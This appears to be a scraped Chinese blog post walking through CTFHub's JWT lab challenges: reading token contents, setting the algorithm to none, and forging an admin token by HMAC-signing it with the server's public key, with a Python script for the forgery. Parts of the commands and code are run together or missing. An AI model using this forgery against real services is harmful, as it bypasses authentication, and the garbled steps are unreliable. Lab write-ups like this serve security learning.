当前位置: 首页 > news >正文

【CTF】JWT漏洞实验

CTFHubhttps://www.ctfhub.com/

打开CTF靶场,进入相关的JWT模块。web进阶-->json web token

敏感信息泄露

先登录ctf网址,登录admin,密码admin,用bp抓包,复制token到kali用jwt解密

输入命令

AG+FL

无签名

用户名admin密码admin登录这里提示只有admin才有flag

bp抓包去kali解密发现刚刚的方法不行

新建一个终端导入python3的环境,把algorithm变为none,复制生成的token,在bp上修改token,forward回去浏览器得到flag

ctfhub{43bdf158d45dceef4de75791}

修改签名算法

username和password都用admin,admin登录,同时用bp抓包,点publickey.pem可以看到token

所有全部复制到kali新建一个文本文件放进去

新建一个python脚本,进入该目录下打开终端

#coding=utf-8import hmac
import hashlib
import base64file = open('publickey.pem')    #需要将文中的publickey下载    与脚本同目录
key = file.read()#Paste your header and payload hereheader = '{"typ": "JWT", "alg": "HS256"}'
payload = '{"username": "admin", "role": "admin"}'#Creating encoded headerencodeHBytes = base64.urlsafe_b64encode(header.encode("utf-8"))
encodeHeader = str(encodeHBytes, "utf-8").rstrip("=")#Creating encoded payloadencodePBytes = base64.urlsafe_b64encode(payload.encode("utf-8"))
encodePayload = str(encodePBytes, "utf-8").rstrip("=")#Concatenating header and payloadtoken = (encodeHeader + "." + encodePayload)#Creating signaturesig = base64.urlsafe_b64encode(hmac.new(bytes(key, "UTF-8"), token.encode("utf-8"), hashlib.sha256).digest()).decode("UTF-8").rstrip("=")print(token + "." + sig)

注意把刚刚的文本文件改成脚本能识别到的名字

输入命令python 1.py,输出的就是解密后的token

发送到repeater,把token的所有改为kali输出的token,send发送,就能拿到flag

http://www.dtcms.com/a/509432.html

相关文章:

  • 加密网站扬州做网站的网络公司
  • 网站备案 山东核验点网站建设论文开题报告
  • 方维网络的品牌网站建设wordpress删除主题数据
  • 美食网站设计目的尤溪网站建设
  • 建设部网站造价咨询工业设计软件上市公司
  • 外贸自建站的推广方式门户网站建设的平台
  • 呼和浩特网站建设哪家最便宜如何把wordpress头部去掉
  • 兰州网站订制网站建设与准备
  • 专业网站优化软件重庆承越网站建设公
  • 谷歌推广网站开发公司是否可以代建筑公司支付材料款
  • 上海本地网站建设小程序代码怎么获取
  • FTP 和 SFTP:作用、使用场景及详细使用教程
  • 东莞常平网站建设网站建设要做原型图吗
  • 重庆市建设工程信息网官网怎么查看seo业务培训
  • 长沙个人网站建设网站中医建设
  • 【图像理解进阶】如何用大模型实现手写汉字识别?Python实战教程
  • 淇县住房和城乡建设局网站怎样用手机做推广免费网站
  • 外贸网站建设不可缺少的灵活性超级优化空间
  • 企业网站的设计思路手机网站建设渠道
  • 荣欣建设集团有限公司网站广东东莞电子厂
  • 群晖做自己的电影网站织梦网站栏目建设
  • 嵌入式开发学习日志41——stm32之SPI总线基本结构
  • 哈尔滨网站建设公司oeminc信息爆炸的时代做网站
  • 网站建设的项目方案模板中国建设企业银行
  • 泉州自助建站软件免费域名注册方式
  • 商城网站哪个公司做的好处羽毛球赛事2022
  • 高邮城乡建设局 网站长春网站建设厂家
  • 浙江城乡建设网站证件查询张家港网站建设服务
  • 【Java工程师面试全攻略】Day14:大数据处理与实时计算深度解析
  • 网上做家教的网站您备案的网站名称没有关联性